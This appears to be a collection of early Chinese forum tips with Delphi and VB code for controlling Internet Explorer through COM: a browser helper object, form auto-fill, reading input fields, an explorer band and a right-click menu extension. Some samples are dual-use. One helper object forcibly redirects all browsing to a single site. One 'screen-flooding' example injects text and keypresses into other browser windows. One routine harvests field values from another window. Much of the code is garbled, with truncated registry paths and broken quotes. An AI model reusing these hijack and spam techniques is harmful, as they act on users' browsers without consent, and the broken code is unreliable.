var

cmdtarget: iolecommandtarget;

sp: iserviceprovider;

cpc: iconnectionpointcontainer;

cp: iconnectionpoint;

begin

if assigned(punksite) then begin

cmdtarget := punksite as iolecommandtarget;

sp := cmdtarget as iserviceprovider;

if assigned(sp)then

sp.queryservice(iwebbrowserapp, iwebbrowser2, ie);

if assigned(ie) then begin

ie.queryinterface(iconnectionpointcontainer, cpc);

cpc.findconnectionpoint(dwebbrowserevents2, cp);

cp.advise(self, cookie)

end;

end;

result := s_ok;

end;

procedure tiehelperfactory.addkeys;

var s: string;

begin

s := guidtostring(class_iehelper);

with tregistry.create do

try

rootkey := hkey_local_machine;

if openkey('softwarehelper objects + s, true)

then closekey;

finally

free;

end;

end;

procedure tiehelperfactory.removekeys;

var s: string;

begin

s := guidtostring(class_iehelper);

with tregistry.create do

try

rootkey := hkey_local_machine;

deletekey('softwarehelper objects + s);

finally

free;

end;

end;

procedure tiehelperfactory.updateregistry(register: boolean);

begin

inherited updateregistry(register);

if register then addkeys else removekeys;

end;

initialization

tiehelperfactory.create(comserver, tiehelper, class_iehelper,

'iehelper', '', cimultiinstance, tmapartment);

end.

代码很长，但是关键的是tiehelper.setsite方法以及tiehelper.invoke方法。在tiehelper.setsite方法中注意以下语句：

if assigned(sp)then

sp.queryservice(iwebbrowserapp, iwebbrowser2, ie);

if assigned(ie) then begin

ie.queryinterface(iconnectionpointcontainer, cpc);

cpc.findconnectionpoint(dwebbrowserevents2, cp);

cp.advise(self, cookie)

上面的语句作用是，首先获得ie的webbrowser接口，然后寻找到连接点。并通过advise方法建立com自身与连接点的连接。

当连接建立成功后，ie在有事件引发后，会调用连接到自身的idispatch接口对象的invoke方法。不同的事件对应不同的dispid编码，我们可以在程序中判断dispid并做相应的处理。在上面的程序中，我们只处理了beforenavigate2 事件，处理函数是dobeforenavigate2，在该函数中，如果浏览的站点不是'http://www.applevb.com/'的话，程序会提示：'你不可以浏览其它站点'并强行转到http://www.applevb.com。

很多的软件，象“护花使者”以及“3721”一类的中文网址”都是利用上面的原理来实现对ie浏览器事件响应的，例如3721，当用户输入一个中文词并浏览时，com组件可以在beforenavigate2 事件中编写代码访问服务器并转到正确的站点上去。

以上程序在win2k、delphi 5下编写 win98、win2k下编辑通过，如果大家需要源程序或者对于com编程需要有什么的指教的话，欢迎到我的主页 http://www.applevb.com 访问，我愿意同大家一起探讨。


自动填写IE的网页的输入框的内容

dana, 时间：2001-6-3 17:44:52, ID：552324

哇!真给一百分，那就告诉你吧！快给分。

procedure TForm1.PutData;

var

ShellWindow: IShellWindows;

nCount: integer;

spDisp: IDispatch;

i,j,X: integer;

vi: OleVariant;

IE1: IWebBrowser2;

IDoc1: IHTMLDocument2;

iELC : IHTMLElementCollection ;

S,S2 : string;

HtmlInputEle : IHTMLInputElement;

HtmlSelEle : IHTMLSelectElement;

begin

ShellWindow := CoShellWindows.Create;

nCount := ShellWindow.Count;

for i := 0 to nCount - 1 do

begin

vi := i;

spDisp := ShellWindow.Item(vi);

if spDisp = nil then continue;

spDisp.QueryInterface( iWebBrowser2, IE1 );

if IE1 <> nil then

begin

IE1.Document.QueryInterface(IHTMLDocument2,iDoc1);

if iDoc1 <> nil then

begin

ielc:=idoc1.Get_all;

for j:=0 to ielc.length-1 do

begin

Application.ProcessMessages;

spDisp := ielc.item(J, 0);

if SUCCEEDED(spDisp.QueryInterface(IHTMLInputElement ,HtmlInputEle))then

with HtmlInputEle do

begin

S2:=Type_;

S2:=UpperCase(S2);

//我把所有的input都填上 try ， checkbox 都打勾

if (StrComp(PChar(S2),'TEXT')=0) or (StrComp(PChar(S2),'PASSWORD')=0) then

value :='try' //S:=S+#9+Value

else if StrComp(PChar(S2),'CHECKBOX')=0 then

begin

checked := True;

end;

end;

if SUCCEEDED(spDisp.QueryInterface(IHTMLselectelement ,HtmlSelEle))then

with HtmlSelEle, Memo1.Lines do

begin

S:=S+#9+IntToStr(selectedIndex+1); //这个是获取数据了

end;

end; //END FOR

Memo2.Lines.Add(S);

exit;

end;

end;

end;

end;


类似NetAnts的浏览器整合

windoze(瞌睡窗)

首先，你需要使程序成为一个OLE Automation Server，然后再注册表中改变HKEY_CLASSES_ROOTType\u19979下你要监视的种类中的CLSID为你程序的CLSID，但是要注意，下载这个文件的任务就落在你的程序身上了。


取得IE窗口中的输入框

先取得当前聊天室的窗口的句柄，然后用如下代码获取该窗口中的所有输入框：

uses SHDocVw,MSHTML;

procedure GetIETextField(w:longint):TStringList;

var i,k:integer;

ShellWindow: IShellWindows;

IE:IWebBrowser2;

IDoc:IHTMLDocument2;

spDisp:IDispatch;

aInputText:IHTMLInputTextElement;

v:OLEVariant;

tmpList:TStringList;

begin

tmpList:=TStringList.Create;

ShellWindow:=CoShellWindows.Create;

for k:=0 to ShellWindow.Count-1 do

begin

v:=k;

spDisp:=ShellWindow.Item(v);

spDisp.QueryInterface(IWEBBROWSER2,IE);

if IE=nil then continue;

if IE.Get_HWND<>w then continue;

IDoc:=IE.Document as IHTMLDocument2;

if iDoc=nil then continue;

if Idoc.Frames.Length<>0 then continue;

for i:=0 to Idoc.all.length-1 do

begin

if Idoc=nil then Break;

spDisp:=Idoc.all.item(i,varEmpty);

if SUCCEEDED(spDisp.QueryInterface(IHTMLInputTextElement,aInputText)) then

if aInputText.value<>'' then //****//

tmpList.add('name:'+aInputText.name+' value:'+aInputText.value);

end;

break;

end;

result:=tmpList;

end;

如果要对特定的输入框，只需要在//****//那行进行判断:

if aInputText.name='xxxxxxx' then

来自：Mutex, 时间：2001-5-18 11:00:25, ID：535010

另外，

如果该页面为Frame或者iFrame形式，在上述代码的

if idoc.Frames.lenght<>0 then Continue那行再进行处理。


注册到IE窗口

//***********************************************************

// *

// *

// *

// *

// http://aton.126.com *

// *

//***********************************************************

unit _DelphiBand;

interface

uses

SndKey32, StdCtrls, Windows, Classes, ActiveX, ShlObj, ComServ, ComObj,

controls, SysUtils, messages, Forms, Shdocvw_tlb, DelphiBandForm,mshtml;

const

DeskBand = '{00021492-0000-0000-C000-000000000046}';

VerticalBand = '{00021493-0000-0000-C000-000000000046}';

HorizontalBand = '{00021494-0000-0000-C000-000000000046}';

// ******************************************************************

Caption = 'Aton网站注册器';

BandType = VerticalBand;

ToolBand = FALSE;

CLSID_DelphiBand: TGUID = '{3F5A62E2-51F2-11D3-A075-CC7364CAE42A}';

// ******** Create your own unique identifier for each Band ********

// In Delphi-IDE : Ctrl-Shift-G

// ******************************************************************

type

TDelphiBandFactory = class(TComObjectFactory)

private

procedure AddKeys;

procedure RemoveKeys;

public

procedure UpdateRegistry(Register: Boolean); override;

end;

TDelphiBand = class(TComObject, IDeskBand, IPersistStreamInit, IObjectWithSite, IContextMenu, IInputObject)

private

MenuItems : Integer;

SavedWndProc: TWndMethod;

HasFocus: Boolean;

BandID: DWORD;

ParentWnd: HWND;

Site: IInputObjectSite;

cmdTarget: IOleCommandTarget;

BandForm: TBandform;

public

// IDeskBand methods

function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):

HResult; stdcall;

function ShowDW(fShow: BOOL): HResult; stdcall;

function CloseDW(dwReserved: DWORD): HResult; stdcall;

function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;

fReserved: BOOL): HResult; stdcall;

function GetWindow(out wnd: HWnd): HResult; stdcall;

function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

// IPersistStreamInit methods

function InitNew: HResult; stdcall;

function GetClassID(out classID: TCLSID): HResult; stdcall;

function IsDirty: HResult; stdcall;

function Load(const stm: IStream): HResult; stdcall;

function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;

function GetSizeMax(out cbSize: Largeint): HResult; stdcall;

// IObjectWithSite methods

function SetSite(const pUnkSite: IUnknown): HResult; stdcall;

function GetSite(const riid: TIID; out site: IUnknown): HResult; stdcall;

// IContextMenu methods

function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult; stdcall;

function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall;

function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT; pszName: LPSTR; cchMax: UINT): HResult; stdcall;

/// IInputObject methods

function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall;

function HasFocusIO: HResult; stdcall;

function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;

procedure BandWndProc(var Message: TMessage);

procedure FocusChange(bHasFocus: Boolean);

procedure UpdateBandInfo;

procedure readdocument;

procedure readdocument2;

procedure filldocument;

procedure filldocument2;

procedure readandwrite;

procedure submitinfo;

procedure load_from_file2;

end;

procedure CloseBand;

procedure NavigateFromBand(const URL: string);

///////////////////////////////////////////////

procedure fill(old:string; var new: string);

procedure Button4Click();

///////////////////////////////////////////////

var

IE: IWebbrowser2;

s:tstrings;

memo1:Tmemo;

memo2:tmemo;

username1,password1,nickname1,truename1,email1,id1,y1,m1,d1:string;

question1,answer1:string;

locationurl1:string;

implementation

uses dialogs, Registry;

//////////////////////////////////////////////////////////////////////////////////

procedure Button4Click();

begin

//

end;

procedure fill(old:string; var new: string);

var

s:array of string;

ss:string;

temp,l,r,left,right:string;

temp_str1,temp_str2,temp_str3:string;

begin

temp:=old;

while (length(temp)>3) do begin

right:=strscan(pchar(temp),'>');

//right:=copy(right,2,length(right));

left:=copy(temp,1,length(temp)-length(right));

if (((AnsiPos(AnsiUpperCase('input'),AnsiUpperCase(left))<>0) and

(AnsiPos(AnsiUpperCase('hidden'),AnsiUpperCase(left))=0)) or (AnsiPos(AnsiUpperCase('<head>'),AnsiUpperCase(left))=0))then begin

if ((AnsiPos(AnsiUpperCase('value'),AnsiUpperCase(left))<>0) and

(AnsiPos(AnsiUpperCase('提'),(left))=0) and(AnsiPos(AnsiUpperCase('重'),(left))=0)

and (AnsiPos(AnsiUpperCase('确'),(left))=0) and(AnsiPos(AnsiUpperCase('登'),(left))=0)

and (AnsiPos(AnsiUpperCase('完'),(left))=0) and(AnsiPos(AnsiUpperCase('入'),(left))=0)

and (AnsiPos(AnsiUpperCase('取'),(left))=0) and(AnsiPos(AnsiUpperCase('注'),(left))=0))

then begin

temp_str2:=AnsiUpperCase(left);

temp_str1:=strRscan(pchar(temp_str2),'V');

left:=copy(left,1,length(left)-length(temp_str1));

end;

if (AnsiPos(AnsiUpperCase('Username'),AnsiUpperCase(left))<>0) then left:=left+' value="'+username1+'"'

else if (AnsiPos(AnsiUpperCase('uid'),AnsiUpperCase(left))<>0) then left:=left+' value="'+username1+'"'

else if (AnsiPos(AnsiUpperCase('name=u'),AnsiUpperCase(left))<>0) then left:=left+' value="'+username1+'"'

else if (AnsiPos(AnsiUpperCase('name=user'),AnsiUpperCase(left))<>0) then left:=left+' value="'+username1+'"'

// else if (AnsiPos(AnsiUpperCase('name'),AnsiUpperCase(left))<>0) then left:=left+' value='+username1

else if (AnsiPos(AnsiUpperCase('cn'),AnsiUpperCase(left))<>0) then left:=left+' value="'+username1+'"'

else if (AnsiPos(AnsiUpperCase('password'),AnsiUpperCase(left))<>0) then left:=left+' value="'+password1+'"'

else if (AnsiPos(AnsiUpperCase('psw'),AnsiUpperCase(left))<>0) then left:=left+' value="'+password1+'"'

else if (AnsiPos(AnsiUpperCase('Nickname'),AnsiUpperCase(left))<>0) then left:=left+' value="'+nickname1+'"'

else if (AnsiPos(AnsiUpperCase('Nick'),AnsiUpperCase(left))<>0) then left:=left+' value="'+nickname1+'"'

else if (AnsiPos(AnsiUpperCase('truename'),AnsiUpperCase(left))<>0) then left:=left+' value="'+truename1+'"'

else if (AnsiPos(AnsiUpperCase('que'),AnsiUpperCase(left))<>0) then left:=left+' value="'+question1+'"'

else if (AnsiPos(AnsiUpperCase('answer'),AnsiUpperCase(left))<>0) then left:=left+' value="'+answer1+'"'

else if (AnsiPos(AnsiUpperCase('year'),AnsiUpperCase(left))<>0) then left:=left+' value="'+y1+'"'

else if (AnsiPos(AnsiUpperCase('month'),AnsiUpperCase(left))<>0) then left:=left+' value="'+m1+'"'

else if (AnsiPos(AnsiUpperCase('day'),AnsiUpperCase(left))<>0) then left:=left+' value="'+d1+'"'

else if (AnsiPos(AnsiUpperCase('<head'),AnsiUpperCase(left))<>0) then left:=left+' > <BASE HREF="'+locationurl1+'" '

else if (AnsiPos(AnsiUpperCase('mail'),AnsiUpperCase(left))<>0) then left:=left+' value="'+email1+'"';

l:=l+left+'>';

temp:=copy(right,2,length(right));

end

else begin

l:=l+left+'>';

temp:=copy(right,2,length(right));

end;

end;

new:=l+temp;

end;

//////////////////////////////////////////////////////////////////////////////////

procedure TDelphiBand.UpdateBandInfo;

(*

Band objects can send commands to their container.

Two commands are supported:

DBID_BANDINFOCHANGED

The band's information has changed. The container will call the band

object's GetBandInfo method to request the updated information.

DBID_MAXIMIZEBAND

The container will maximize the band.

*)

var

vain, vaOut: OleVariant;

PtrGuid: PGUID;

begin

vaIn := Variant(BandID);

New(PtrGUID);

PtrGUID^ := IDESKBAND;

cmdTarget.Exec(PtrGUID, DBID_BANDINFOCHANGED, OLECMDEXECOPT_DODEFAULT, vaIn, vaOut);

Dispose(PtrGUID);

end;

procedure CloseBand;

var

x, y, z: Olevariant;

begin

x := GuidToString(CLSID_DelphiBand);

Y := FALSE;

Z := 0;

IE.ShowBrowserBar(X, Y, Z);

end;

procedure NavigateFromBand(const URL: string);

var

_url: OleVariant;

X: OleVariant;

begin

_Url := Url;

X := 0;

IE.Navigate(Url, X, X, X, X);

end;

function TDelphiBand.GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):

HResult;

// Retrieves the information for the band object.

begin

BandId := dwBandID;

if (pdbi.dwMask or DBIM_MINSIZE) <> 0

then begin

pdbi.ptMinSize.y := BandForm.Width;

pdbi.ptMinSize.x := 0;

end;

if (pdbi.dwMask or DBIM_MAXSIZE) <> 0

then begin

pdbi.ptMaxSize.x := -1;

pdbi.ptMaxSize.y := -1;

end;

if (pdbi.dwMask or DBIM_INTEGRAL) <> 0

then begin

pdbi.ptIntegral.x := 1;

pdbi.ptIntegral.y := 1;

end;

if (pdbi.dwMask or DBIM_ACTUAL) <> 0

then begin

pdbi.ptActual.x := Bandform.Height;

pdbi.ptActual.y := bandform.Width;

end;

if (pdbi.dwMask or DBIM_MODEFLAGS) <> 0 then

begin

pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

end;

if (pdbi.dwMask or DBIM_BKCOLOR) <> 0 then

begin

pdbi.dwMask := pdbi.dwMask and (not DBIM_BKCOLOR);

end;

if (Pdbi.dwMask and DBIM_TITLE) = DBIM_TITLE

then begin

FillChar(pdbi.wszTitle, SizeOf(Caption) + 1, ' ');

StringToWideChar(Caption, @pdbi.wszTitle, Length(Caption) + 1);

end;

Result := NOERROR;

end;

function TDelphiBand.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult;

begin

//Add Menuitems here in reverse order:

InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdfirst + 3, '使用新的填充方法');

InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst + 2, '关于……');

InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst + 1, '提交注册信息');

InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdfirst, '填充注册信息');

// Return number of items added:

MenuItems := 4;

Result := MenuItems;

end;

function TDelphiBand.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult;

begin

if (HiWord(Integer(lpici.lpVerb)) <> 0) or (LoWord(lpici.lpVerb) > MenuItems-1) then

begin

Result := E_FAIL;

Exit;

end;

case LoWord(lpici.lpVerb) of

// Add menu commands:

// 0: UpdateBandInfo;

0: readandwrite;

//1: NavigateFromBand('http://www.euromind.com/iedelphi');

1: submitinfo;

2: Showmessage('Aton网站注册器（0.91版）');

3: Showmessage(getcurrentdir);

end;

Result := NO_ERROR;

end;

procedure TDelphiBand.BandWndProc(var Message: TMessage);

begin

// WM_PARENTNOTIFY is called when the band receive focus

// so information is passed on to OnFocusChangeIS ->

if (Message.Msg = WM_PARENTNOTIFY) then

begin

HasFocus:=true;

FocusChange(True);

end;

SavedWndProc(Message);

end;

function TDelphiBand.GetWindow(out wnd: HWnd): HResult;

begin

// Create Bandform as child window and pass handle

if not Assigned(BandForm) then

BandForm := TBandForm.CreateParented(ParentWnd);

Wnd := Bandform.Handle;

// Important to notify IInputObjectSite each time focus is on the band

// object, so TranslateAcceleratorOI can be called. ->

SavedWndProc := Bandform.WindowProc;

Bandform.WindowProc := BandWndProc;

Result := S_OK;

end;

procedure TDelphiBand.FocusChange(bHasFocus: Boolean);

begin

// Informs the browser that the focus has changed.

if (Site <> nil) then Site.OnFocusChangeIS(Self, bHasFocus);

end;

function TDelphiBand.TranslateAcceleratorIO(var lpMsg: TMsg): HResult;

// Passes keyboard accelerators to the object.

// So VK_BACK, VK_LEFT, VK_RIGHT etc. are available for

// components on the band.

begin

if (lpMsg.WParam <> VK_TAB) then begin

TranslateMessage(lpMSg);

DispatchMessage(lpMsg);

Result := S_OK;

end

else Result := S_FALSE;

end;

function TDelphiBand.HasFocusIO: HResult;

// Determines if one of the object's windows has the keyboard focus.

begin

Result:=Integer(not HasFocus);

end;

function TDelphiBand.UIActivateIO(fActivate: BOOL;

var lpMsg: TMsg): HResult;

// Activates or deactivates the object.

begin

// No need to notify when focus leaved the band object, since

// TranslateAcceleratorIO only is called from the band.

Hasfocus:=fActivate;

if HasFocus then Bandform.SetFocus;

Result := S_OK;

end;

function TDelphiBand.SetSite(const pUnkSite: IUnknown): HResult;

// When the user selects an Explorer Bar, the container calls

// the corresponding band object's SetSite method. The punkSite

// parameter will be set to the site's IUnknown pointer.

begin

//If the pointer passed to SetSite is set to Nil, the band is being removed.

//SetSite can return S_OK. ->

if Assigned(pUnkSite) then begin

// Store the pointer to this interface for use later. ->

Site := pUnkSite as IInputObjectSite;

//Call GetWindow to obtain the parent window's handle,

//and save it for future use. ->

(pUnkSite as IOleWindow).GetWindow(ParentWnd);

// Need IOleCommandTarget if you want to send commands to the container

// (see UpdateBandInfo) ->

cmdTarget := pUnkSite as IOleCommandTarget;

// Get a connection to IE's browser-window ->

(CmdTarget as IServiceProvider).QueryService(IWebbrowserApp, IWebbrowser2, IE);

end;

Result := S_OK;

end;

function TDelphiBand.GetSite(const riid: TIID; out site: IUnknown): HResult;

// Retrieves the last site set with SetSite.

begin

if Assigned(Site) then Result := Site.QueryInterface(riid, site)

else Result := E_FAIL;

end;

function TDelphiBand.ShowDW(fShow: BOOL): HResult;

begin

Result := S_OK;

end;

function TDelphiBand.GetClassID(out classID: TCLSID): HResult;

begin

classID := CLSID_DelphiBand;

Result := S_OK;

end;

function TDelphiBand.CloseDW(dwReserved: DWORD): HResult;

begin

if BandForm <> nil then BandForm.Destroy;

Result := S_OK;

end;

function TDelphiBand.GetCommandString(idCmd, uType: UINT; pwReserved: PUINT; pszName: LPSTR; cchMax: UINT): HResult;

begin

Result := NOERROR;

end;

function TDelphiBand.ContextSensitiveHelp(fEnterMode: BOOL): HResult;

begin

Result := E_NOTIMPL;

end;

function TDelphiBand.ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;

fReserved: BOOL): HResult;

begin

Result := E_NOTIMPL;

end;

function TDelphiBand.IsDirty: HResult;

begin

Result := S_FALSE;

end;

function TDelphiBand.Load(const stm: IStream): HResult;

begin

Result := S_OK;

end;

function TDelphiBand.Save(const stm: IStream; fClearDirty: BOOL): HResult;

begin

Result := S_OK;

end;

function TDelphiBand.GetSizeMax(out cbSize: Largeint): HResult;

begin

Result := E_NOTIMPL;

end;

function TDelphiBand.InitNew: HResult;

begin

Result := E_NOTIMPL;

end;

procedure TDelphiBandFactory.UpdateRegistry(Register: Boolean);

begin

inherited UpdateRegistry(Register);

if Register then AddKeys else RemoveKeys;

end;

procedure TDelphiBandFactory.AddKeys;

var S: string;

begin

S := GUIDToString(CLSID_DelphiBand);

with TRegistry.Create do

try

// http://support.microsoft.com/support/kb/articles/Q247/7/05.ASP ->

if BandType <> DeskBand then

begin

DeleteKey('SoftwareCategories + VerticalBand + '');

DeleteKey('SoftwareCategories + HorizontalBand + '');

end;

RootKey := HKEY_CLASSES_ROOT;

if OpenKey('CLSID + S, True) then

begin

WriteString('', '&Aton网站注册器');

CloseKey;

end;

if OpenKey('CLSID + S + '', True) then

begin

WriteString('ThreadingModel', 'Apartment');

CloseKey;

end;

if OpenKey('CLSID + S + 'Categories + BandType, True)

then CloseKey;

if Toolband then begin

RootKey := HKEY_LOCAL_MACHINE;

if OpenKey('SOFTWAREExplorer', True) then

begin

WriteString(S, '');

CloseKey;

end;

end;

finally

Free;

end;

end;

procedure TDelphiBandFactory.RemoveKeys;

var S: string;

begin

S := GUIDToString(CLSID_DelphiBand);

with TRegistry.Create do

try

RootKey := HKEY_CLASSES_ROOT;

// http://support.microsoft.com/support/kb/articles/Q214/8/42.ASP ->

if BandType = DeskBand then

DeleteKey('Component Categories + DeskBand + '');

DeleteKey('CLSID + S + 'Categories + BandType);

DeleteKey('CLSID + S + '');

DeleteKey('CLSID + S);

Closekey;

if ToolBand then begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('SoftwareExplorer', FALSE);

DeleteValue(s);

CloseKey;

end;

finally

Free;

end;

end;

procedure TDelphiBand.filldocument;

var

m:tmemorystream;

s2:string;

begin

load_from_file2;

Button4Click();

fill(memo1.text,s2);

memo1.text:=s2;

M := TMemoryStream.Create;

memo1.Lines.SaveToStream(M);

M.seek(0, 0);

if not Assigned(ie.document) then begin

NavigateFromBand('about:blank');

while ie.readystate <> READYSTATE_COMPLETE do Forms.Application.ProcessMessages;

end;

(ie.Document as IPersistStreamInit).Load(TStreamadapter.Create(M));

end;

procedure TDelphiBand.readdocument;

var

IpStream: IPersistStreamInit;

A: TMemoryStream;

begin

locationurl1:=ie.LocationURL;

memo1 := Tmemo.CreateParented(ParentWnd);

with ie do begin

while ReadyState <> READYSTATE_COMPLETE do

Forms.Application.ProcessMessages;

if Assigned(document) then begin

A := TMemoryStream.Create;

try

IpStream := document as IPersistStreamInit;

if not Assigned(IpStream) then showmessage('Err') else

if Succeeded(IpStream.save(TStreamadapter.Create(A), TRUE))

then begin

A.Seek(0, 0);

memo1.lines.LoadFromStream(A);

end;

except

end;

A.Free;

end;

end;

// showmessage(memo1.text);

end;

procedure tdelphiband.load_from_file2;

var

sss:string;

i,j,k:integer;

q:array [1..20] of string;

t,t0,t1,t2,t3,t4:string;

MySysPath : PCHAR ;

begin

GetMem(MySysPath,255);

GetSystemDirectory(MySysPath,255);

memo2 := Tmemo.CreateParented(ParentWnd);

//memo2.Lines.LoadFromFile(ExtractFilePath(Paramstr(0))+'info.web');

if fileexists(MySysPath+'.web') then

memo2.Lines.LoadFromFile(MySysPath+'.web')

else showmessage('你还没有填写你的个人信息！');

t:=memo2.Text;

memo2.Destroy;

t0:=t;

for i:=1 to 20 do begin

t1:=strscan(pchar(t0),' ');

t2:=copy(t0,1,length(t0)-length(t1));

t3:=trim(t2);

t0:=trim(t1);

q[i]:=t3;

end;

username1:=q[1];

password1:=q[2];

nickname1:=q[3];

truename1:=q[4];

id1:=q[5];

y1:=q[6];

m1:=q[7];

d1:=q[8];

email1:=q[9];

question1:='你认为aton网站注册器怎么样？';

answer1:='非常棒！！！';

//username1,password1,nickname1,truename1,email1,id1,y1,m1,d1:string;

//question1,answer1:string;

//showmessage(q[1]+'and'+q[2]);

end;

procedure TDelphiBand.readandwrite;

begin

readdocument;

//if length(memo1.text)>100 then begin

filldocument;

//end;

end;

procedure TDelphiBand.submitinfo;

begin

IHTMLWindow2(IHTMLDocument2(ie.Document).ParentWindow).focus;

Sendkeys('~',true);

end;

procedure TDelphiBand.filldocument2;

begin

//

end;

procedure TDelphiBand.readdocument2;

begin

//

end;

initialization

TDelphiBandFactory.Create(ComServer, TDelphiBand, CLSID_DelphiBand, '', Caption, ciMultiInstance);

end.


一个刷屏的例子

一个刷屏软件的原理：

procedure TForm1.Button1Click(Sender:TObject);

var

sw:IShellWindows;

n:integer;

disp:IDispatch;

i:integer;

vi:OleVariant;

ie1:IWebBrowser2;

idoc1:IHTMLDocument2;

begin

sw:=CoShellWindows.Create;

n:=sw.count;

for i:=0 to n-1 do

begin

vi:=i;

disp:=sw.item(vi);

disp.QueryInterface(IWebBrowser2,ie1);

if ie1 <> nil then

begin

memo1.lines.add’Location:’+ie1.LocationName);

ie1.Document.QueryInterfaceIHTMLDocument2,idoc1);

if idco1 <> nil then

begin

if idoc1.activeitem.isEditText then

begin

idoc1.activeitem.innertext:=’Hello,I GOT YOU!’;

keybd_event(VK_RETURN,0,0,0); // 送回车

//当然也是可以找到具体的submit按钮的，调用submit好象安全一点。

end;

memo1.lines.add(’Title:’+idoc1.Title);

memo1.lines.add(’URL:’+idco1.url);

end;

end;

end;

end;


取得连接的文字

用twebbrowser的documen.links可以遍历一个网页的链接，但如何取得链接的载体呢？

例如，一个典型的链接如下

<a href="http://www.sina.com.cn">新浪网</a>

我如何取得与http://www.sina.com.cn对应的“新浪网”？请不吝赐教。

var

i: integer;

doc: IHtmlDocument2;

v: Variant;

begin

v := doc.links.item(i,0);

v.InnerText 为对应的“新浪网”

TechnoFantasy(www.applevb.com)　(2001-5-19 11:48:00) 得0分

对，一般来说，元素的InnerText属性可以获得改元素的文本，InnerHTML可以获得元素的HTML代码，例如上面InnerText为：新浪网，InnerHTML为:<a href = "http://www.sina.com.cn">新浪网</a> 。不过对于连接元素，你可以通过访问title属性获得连接标题：

var

i: integer;

doc: IHtmlDocument2;

v: Variant;

begin

v := doc.links.item(i,0);

v.title为对应的“新浪网”


一个在网页中间POP的HTML HELP

<SCRIPT>MyText="A Popup Example"</SCRIPT>

<OBJECT ID=hhcustom TYPE="application/x-oleobject"

CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

</OBJECT>

<A HREF=JavaScript:hhcustom.TextPopup(MyText,"Verdana,10",9,9,-1,-1)>

Click Here to Display an Example of an HTML Help pop-up window!</A>.

<P>


IE扩展相关
一、如何在IE右键菜单中添加菜单项

如果使用过Netants的朋友可能都知道，NetAnts在IE中添加了右键菜单功能，只要在页面的一个链接

或者图片上点击右键后在菜单中选择 Down By Netants 就可以调用Netants下载该链接指向的文件。在本

文中作者将介绍如何通过VB来实现这样的功能。

要实现在IE右键菜单中添加菜单项的功能，要依次实现以下步骤：

1、在注册表HKEY_CURRENT_USERExplorer项下建立一个

新项，项的名称既出现在菜单中的标题，例如你想建立的菜单项标题为Add URL，则新建项的名称为

HKEY_CURRENT_USERExplorerURL

2、将新建项的默认值设定为一个URL地址，当用户点击菜单项后，IE就会调用URL指向的页面中的脚

本，在目标页面的脚本中通过访问IE提供的external对象的menuArguments属性就可以访问IE中的页面中的

各种对象，例如链接、图片、表单域、被选中的文本等。详细的帮助请参考MSDN中关于InternetExplore object

的帮助，熟悉了Window对象才可以比较好的了解下面的脚本。

对于如何实现自身的程序访问menuArguments的问题，我们可以仿效Netants的做法，首先建立一个

OLE Automation对象，然后在脚本中调用该对象，并将页面信息传递对象处理。下面我们需要首先通过VB建立

一个对象：

打开VB，点击菜单： File | New ，在新建工程窗口中选择 ActiveX Dll 后按确定键建立一个ActiveX DLL

工程。然后在工程列表窗口中将Class1的Name属性更改为NetAPI，然后在NetAPI的代码窗口中添加如下代码：

Public Sub AddURL(URL As String, Info As String)

MsgBox Info, vbOKOnly, URL

End Sub

保存文件，将工程文件保存成NetSamp.vbp。然后在菜单中选择 File | Make NetSamp.dll建立对象动态

连接库。

接下来是注册库，在Windows目录下找到Regsvr32.exe，然后将其拷贝到netsamp.dll所在目录下，将

netsamp.dll的的图标拖到Regsvr32.exe上放开，这时Regsvr32.exe就会弹出对话框提示对象注册成功。

打开UltraEdit(或者其它文本编辑器)将下面的脚本代码输入编辑器中：

<script language="VBScript">

Sub OnContextMenu()

On Error Resume Next

set srcEvent = external.menuArguments.event

set EventElement = external.menuArguments.document.elementFromPoint(srcEvent.clientX, srcEvent.clientY)

set objNetSamp=CreateObject("NetSamp.NetAPI")

if srcEvent.type = "MenuExtAnchor" then

set srcAnchor = EventElement

do until TypeName(srcAnchor)="HTMLAnchorElement"

set srcAnchor=srcAnchor.parentElement

Loop

Call objNetSamp.AddUrl(srcAnchor.href,srcAnchor.innerText)

elseif srcEvent.type="MenuExtImage" then

if TypeName(EventElement)="HTMLAreaElement" then

Call objNetSamp.AddUrl(EventElement.href,EventElement.Alt)

else

set srcImage = EventElement

set srcAnchor = srcImage.parentElement

do until TypeName(srcAnchor)="HTMLAnchorElement"

set srcAnchor=srcAnchor.parentElement

if TypeName(srcAnchor)="Nothing" then

call objNetSamp.AddUrl(srcImage.href,srcImage.Alt)

exit sub

end if

Loop

Call objNetSamp.AddUrl(srcAnchor.href, srcImage.Alt)

end if

elseif srcEvent.type="MenuExtUnknown" then

set srcAnchor = EventElement

do until TypeName(srcAnchor)="HTMLAnchorElement"

set srcAnchor=srcAnchor.parentElement

if TypeName(srcAnchor)="Nothing" then

Call objNetSamp.AddUrl(EventElement.href,EventElement.innerText)

exit sub

end if

Loop

Call objNetSamp.AddUrl(srcAnchor.href,srcAnchor.innerText)

end if

end Sub

call OnContextMenu()

</script>

将文件保存到c:files 下，文件名为 geturl.htm

从上面的脚本可以看到，首先访问external.menuArguments属性，获得用户单击鼠标右键位置的对象，然

后根据对象的不同获得它的URL，然后建立IEContextMenu.IEMenu1对象并调用该对象的AddURL方法。

接下来是为右键菜单建立注册项，打开UltraEdit(或者其它文本编辑器)将下面的注册数据输入编辑器中

